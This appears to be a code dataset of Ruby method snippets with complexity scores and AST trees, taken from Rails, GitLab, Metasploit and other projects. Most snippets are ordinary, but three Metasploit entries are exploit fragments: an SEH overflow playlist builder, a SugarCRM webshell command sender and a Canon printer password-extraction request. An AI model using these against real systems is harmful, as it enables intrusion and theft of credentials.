{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/audiotran_pls_1424.rb","start_line":60,"raw_source":"def exploit\n    sploit = \"[playlist]\\r\\nFile1=\"\n    sploit << rand_text_alpha_upper(1940)\n    sploit << generate_seh_payload(target.ret)\n    print_status(\"Creating '#{datastore['FILENAME']}' file ...\")\n    file_create(sploit)\n  end","complexity_score":13.35,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"str\",\"children\":[\"[playlist]\\r\\nFile1=\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"int\",\"children\":[1940]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"generate_seh_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILENAME\"]}]}]},{\"type\":\"str\",\"children\":[\"' file ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"file_create\",{\"type\":\"lvar\",\"children\":[\"sploit\"]}]}]}]}","id":"a91216ef-3cd1-4a24-a3fa-c75a6f1255e4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/smb/ui/console/command_dispatcher/shares.rb","start_line":410,"raw_source":"def cmd_upload_help\n            print_line 'Usage: upload <local_path> <remote_path>'\n            print_line\n            print_line 'Upload a file to the remote target.'\n            print @@upload_opts.usage\n          end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_upload_help\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: upload <local_path> <remote_path>\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Upload a file to the remote target.\"]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@upload_opts\"]},\"usage\"]}]}]}]}","id":"7a4e31ff-aa36-4d98-bfb1-ea86600eff63"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/create_commit_status_service.rb","start_line":84,"raw_source":"def can_append_jobs_to_existing_pipeline?\n      return true unless first_matching_pipeline_size_exceeded?\n      return true if external_commit_status_exists?\n\n      false\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"can_append_jobs_to_existing_pipeline?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first_matching_pipeline_size_exceeded?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"external_commit_status_exists?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"false\",\"children\":[]}]}]}","id":"82ac14b8-5e41-43cd-a5e2-9ee0495416da"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/query_analyzers/restrict_allowed_schemas.rb","start_line":122,"raw_source":"def dml_from_create_view?(parsed)\n            return unless ddl_mode?\n\n            QueryAnalyzerHelpers.dml_from_create_view?(parsed)\n          end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"dml_from_create_view?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parsed\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ddl_mode?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QueryAnalyzerHelpers\"]},\"dml_from_create_view?\",{\"type\":\"lvar\",\"children\":[\"parsed\"]}]}]}]}","id":"21fcd38a-77a9-4ad0-9972-ef94905871a7"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_filter_stdout.rb","start_line":98,"raw_source":"def test_include_time_key\n      config = config_element(\"\", \"\", {\n                                \"output_type\" => \"json\",\n                                \"include_time_key\" => true,\n                                \"localtime\" => false\n                              })\n      d = create_driver(config)\n      etime = event_time(\"2016-10-07 21:09:31.012345678 UTC\")\n      out = capture_log(d) { filter(d, etime, {'test' => 'test'}) }\n      assert_equal \"2016-10-07 21:09:31.012345678 +0000 filter.test: {\\\"test\\\":\\\"test\\\",\\\"time\\\":\\\"2016-10-07T21:09:31Z\\\"}\\n\", out\n    end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_include_time_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[null,\"config_element\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"output_type\"]},{\"type\":\"str\",\"children\":[\"json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"include_time_key\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"localtime\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[null,\"create_driver\",{\"type\":\"lvar\",\"children\":[\"config\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"etime\",{\"type\":\"send\",\"children\":[null,\"event_time\",{\"type\":\"str\",\"children\":[\"2016-10-07 21:09:31.012345678 UTC\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"out\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_log\",{\"type\":\"lvar\",\"children\":[\"d\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"filter\",{\"type\":\"lvar\",\"children\":[\"d\"]},{\"type\":\"lvar\",\"children\":[\"etime\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"str\",\"children\":[\"test\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2016-10-07 21:09:31.012345678 +0000 filter.test: {\\\"test\\\":\\\"test\\\",\\\"time\\\":\\\"2016-10-07T21:09:31Z\\\"}\\n\"]},{\"type\":\"lvar\",\"children\":[\"out\"]}]}]}]}","id":"6c4b60b9-dbb8-4512-aa0a-e5aeb926c182"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb","start_line":34,"raw_source":"def self.add_left_association(name, options)\n          belongs_to name, required: false, **options\n          self.left_reflection = _reflect_on_association(name)\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"add_left_association\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"belongs_to\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"left_reflection=\",{\"type\":\"send\",\"children\":[null,\"_reflect_on_association\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}","id":"e44d271f-391e-4147-84b9-e2da050a5abc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/reports/security/scanner.rb","start_line":49,"raw_source":"def sort_keys\n            @sort_keys ||= [order, external_id, name, vendor]\n          end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"sort_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@sort_keys\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},{\"type\":\"send\",\"children\":[null,\"external_id\"]},{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"send\",\"children\":[null,\"vendor\"]}]}]}]}","id":"8947f487-adcc-4291-bff3-ba1f99a564b1"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/active_model_helper_test.rb","start_line":89,"raw_source":"def test_datetime_select_with_errors\n    assert_dom_equal(\n      %(<div class=\"field_with_errors\"><input id=\"post_updated_at_1i\" name=\"post[updated_at(1i)]\" type=\"hidden\" value=\"2004\" autocomplete=\"off\" />\\n<input id=\"post_updated_at_2i\" name=\"post[updated_at(2i)]\" type=\"hidden\" value=\"6\" autocomplete=\"off\" />\\n<input id=\"post_updated_at_3i\" name=\"post[updated_at(3i)]\" type=\"hidden\" value=\"1\" autocomplete=\"off\" />\\n<select id=\"post_updated_at_4i\" name=\"post[updated_at(4i)]\">\\n<option selected=\"selected\" value=\"00\">00</option>\\n<option value=\"01\">01</option>\\n<option value=\"02\">02</option>\\n<option value=\"03\">03</option>\\n<option value=\"04\">04</option>\\n<option value=\"05\">05</option>\\n<option value=\"06\">06</option>\\n<option value=\"07\">07</option>\\n<option value=\"08\">08</option>\\n<option value=\"09\">09</option>\\n<option value=\"10\">10</option>\\n<option value=\"11\">11</option>\\n<option value=\"12\">12</option>\\n<option value=\"13\">13</option>\\n<option value=\"14\">14</option>\\n<option value=\"15\">15</option>\\n<option value=\"16\">16</option>\\n<option value=\"17\">17</option>\\n<option value=\"18\">18</option>\\n<option value=\"19\">19</option>\\n<option value=\"20\">20</option>\\n<option value=\"21\">21</option>\\n<option value=\"22\">22</option>\\n<option value=\"23\">23</option>\\n</select>\\n : <select id=\"post_updated_at_5i\" name=\"post[updated_at(5i)]\">\\n<option selected=\"selected\" value=\"00\">00</option>\\n</select>\\n</div>),\n      datetime_select(\"post\", \"updated_at\", discard_year: true, discard_month: true, discard_day: true, minute_step: 60)\n    )\n  end","complexity_score":2.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_datetime_select_with_errors\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<div class=\\\"field_with_errors\\\"><input id=\\\"post_updated_at_1i\\\" name=\\\"post[updated_at(1i)]\\\" type=\\\"hidden\\\" value=\\\"2004\\\" autocomplete=\\\"off\\\" />\\n<input id=\\\"post_updated_at_2i\\\" name=\\\"post[updated_at(2i)]\\\" type=\\\"hidden\\\" value=\\\"6\\\" autocomplete=\\\"off\\\" />\\n<input id=\\\"post_updated_at_3i\\\" name=\\\"post[updated_at(3i)]\\\" type=\\\"hidden\\\" value=\\\"1\\\" autocomplete=\\\"off\\\" />\\n<select id=\\\"post_updated_at_4i\\\" name=\\\"post[updated_at(4i)]\\\">\\n<option selected=\\\"selected\\\" value=\\\"00\\\">00</option>\\n<option value=\\\"01\\\">01</option>\\n<option value=\\\"02\\\">02</option>\\n<option value=\\\"03\\\">03</option>\\n<option value=\\\"04\\\">04</option>\\n<option value=\\\"05\\\">05</option>\\n<option value=\\\"06\\\">06</option>\\n<option value=\\\"07\\\">07</option>\\n<option value=\\\"08\\\">08</option>\\n<option value=\\\"09\\\">09</option>\\n<option value=\\\"10\\\">10</option>\\n<option value=\\\"11\\\">11</option>\\n<option value=\\\"12\\\">12</option>\\n<option value=\\\"13\\\">13</option>\\n<option value=\\\"14\\\">14</option>\\n<option value=\\\"15\\\">15</option>\\n<option value=\\\"16\\\">16</option>\\n<option value=\\\"17\\\">17</option>\\n<option value=\\\"18\\\">18</option>\\n<option value=\\\"19\\\">19</option>\\n<option value=\\\"20\\\">20</option>\\n<option value=\\\"21\\\">21</option>\\n<option value=\\\"22\\\">22</option>\\n<option value=\\\"23\\\">23</option>\\n</select>\\n : <select id=\\\"post_updated_at_5i\\\" name=\\\"post[updated_at(5i)]\\\">\\n<option selected=\\\"selected\\\" value=\\\"00\\\">00</option>\\n</select>\\n</div>\"]},{\"type\":\"send\",\"children\":[null,\"datetime_select\",{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"updated_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"discard_year\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"discard_month\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"discard_day\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minute_step\"]},{\"type\":\"int\",\"children\":[60]}]}]}]}]}]}","id":"be0d63de-3868-4129-9419-9ce015d0194a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/spec/support/pages/meetings/index.rb","start_line":164,"raw_source":"def expect_meetings_listed_in_table(*meetings)\n      within \"[data-test-selector='Meetings::TableComponent']\" do\n        meetings.each do |meeting|\n          expect(page).to have_css(\"div.title\", text: meeting.title)\n        end\n      end\n    end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_meetings_listed_in_table\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"meetings\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"str\",\"children\":[\"[data-test-selector='Meetings::TableComponent']\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meetings\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"meeting\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"div.title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meeting\"]},\"title\"]}]}]}]}]}]}]}]}","id":"4c8081e2-1f4a-4aed-93fb-4c6b00745a2c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/sugarcrm_webshell_cve_2023_22952.rb","start_line":206,"raw_source":"def execute_command(cmd, _opts = {})\n    payload = Base64.strict_encode64(cmd)\n    php_cmd_function = datastore['COMMAND']\n    return send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(datastore['TARGETURI'], 'cache', 'images', @webshell_name),\n      'cookie' => @phpsessid.to_s,\n      'ctype' => 'application/x-www-form-urlencoded',\n      'vars_get' => {\n        @get_param => php_cmd_function\n      },\n      'vars_post' => {\n        @post_param => payload\n      }\n    })\n  end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"strict_encode64\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"php_cmd_function\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"COMMAND\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]}]},{\"type\":\"str\",\"children\":[\"cache\"]},{\"type\":\"str\",\"children\":[\"images\"]},{\"type\":\"ivar\",\"children\":[\"@webshell_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@phpsessid\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/x-www-form-urlencoded\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@get_param\"]},{\"type\":\"lvar\",\"children\":[\"php_cmd_function\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post_param\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}]}]}]}]}]}","id":"7f9cb810-aba7-4ac6-9745-5c6a7ff6f050"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/controllers/api/v1/catalogs_controller.rb","start_line":59,"raw_source":"def set_connector\n        @connector = current_workspace.connectors.find(params[:connector_id])\n      rescue ActiveRecord::RecordNotFound\n        render_error(\n          message: \"Connector not found\",\n          status: :not_found\n        )\n      end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"set_connector\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@connector\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_workspace\"]},\"connectors\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"connector_id\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},null,{\"type\":\"send\",\"children\":[null,\"render_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Connector not found\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"not_found\"]}]}]}]}]},null]}]}","id":"e743fa04-d519-4bf3-a020-e272ed7270a4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb","start_line":154,"raw_source":"def set_disallow(cookies)\n    vars_post = {\n      \"ADRSEXPPSWDCHK\" => \"1\",\n      \"PageFlag\" => \"c_adrs.tpl\",\n      \"Flag\" => \"Exec_Data\",\n      \"CoreNXAction\" => \"./cadrs.cgi\",\n      \"CoreNXPage\" => \"c_adrexppass.tpl\",\n      \"CoreNXFlag\" => \"Init_Data\",\n      \"Dummy\" => \"1359048058115\"\n    }\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri('/rps/cadrs.cgi'),\n      'vars_post' => vars_post,\n      'headers' => { 'Cookie' => \"#{cookies}\" },\n    }, datastore['TIMEOUT'].to_i)\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"set_disallow\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cookies\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vars_post\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ADRSEXPPSWDCHK\"]},{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PageFlag\"]},{\"type\":\"str\",\"children\":[\"c_adrs.tpl\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Flag\"]},{\"type\":\"str\",\"children\":[\"Exec_Data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CoreNXAction\"]},{\"type\":\"str\",\"children\":[\"./cadrs.cgi\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CoreNXPage\"]},{\"type\":\"str\",\"children\":[\"c_adrexppass.tpl\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CoreNXFlag\"]},{\"type\":\"str\",\"children\":[\"Init_Data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Dummy\"]},{\"type\":\"str\",\"children\":[\"1359048058115\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"str\",\"children\":[\"/rps/cadrs.cgi\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"lvar\",\"children\":[\"vars_post\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Cookie\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookies\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TIMEOUT\"]}]},\"to_i\"]}]}]}]}]}","id":"f40571a3-9180-4f9b-b60e-38f24e9656dc"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/components/message_creator.rb","start_line":87,"raw_source":"def shift_click_row(chatable, **args)\n          component.find(build_row_selector(chatable, **args)).click(:shift)\n        end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"shift_click_row\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chatable\"]},{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"component\"]},\"find\",{\"type\":\"send\",\"children\":[null,\"build_row_selector\",{\"type\":\"lvar\",\"children\":[\"chatable\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]},\"click\",{\"type\":\"sym\",\"children\":[\"shift\"]}]}]}","id":"0698f8cd-6fa6-425f-b55f-83f40c3790c7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/test/iterable/iterable_jobs.rb","start_line":134,"raw_source":"def each_iteration(row)\n    self.class.iterated_objects << row\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"each_iteration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"iterated_objects\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"row\"]}]}]}","id":"5fe832ec-2db7-454b-a841-b51607b2019f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-http/spec/gitlab/http_v2/net_http_connect_patch_spec.rb","start_line":45,"raw_source":"def sni_callback(sslsocket, hostname = nil)\n        @sni_hostname = hostname\n        @server.ssl_servername_callback(sslsocket, hostname)\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"sni_callback\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sslsocket\"]},{\"type\":\"optarg\",\"children\":[\"hostname\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@sni_hostname\",{\"type\":\"lvar\",\"children\":[\"hostname\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server\"]},\"ssl_servername_callback\",{\"type\":\"lvar\",\"children\":[\"sslsocket\"]},{\"type\":\"lvar\",\"children\":[\"hostname\"]}]}]}]}","id":"dec3f75c-ecad-46f9-8383-f920f5d775ed"}
{"repo_name":"spree","file_path":"./repos/spree/admin/lib/spree/admin/testing_support/tom_select.rb","start_line":5,"raw_source":"def tom_select(value, from:, create: false)\n          fill_in(from, with: value, visible: false)\n\n          if create\n            first('.ts-dropdown .ts-dropdown-content .create.active').click\n          else\n            first('.ts-dropdown .ts-dropdown-content .option', text: /#{Regexp.quote(value)}/i).click\n          end\n        end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"tom_select\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"kwarg\",\"children\":[\"from\"]},{\"type\":\"kwoptarg\",\"children\":[\"create\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"lvar\",\"children\":[\"from\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visible\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first\",{\"type\":\"str\",\"children\":[\".ts-dropdown .ts-dropdown-content .create.active\"]}]},\"click\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first\",{\"type\":\"str\",\"children\":[\".ts-dropdown .ts-dropdown-content .option\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"quote\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]}]}]},\"click\"]}]}]}]}","id":"55a00b57-a9ab-4ab6-a5e8-993f740ef5c2"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/layout_test.rb","start_line":226,"raw_source":"def test_layout_is_not_set_when_none_rendered\n    @controller = RendersNoLayoutController.new\n    get :hello\n    assert_equal \"hello.erb\", @response.body\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_layout_is_not_set_when_none_rendered\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@controller\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RendersNoLayoutController\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"hello\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"hello.erb\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"1d7ace4f-017a-4ca8-8563-d2d38f30c1c2"}
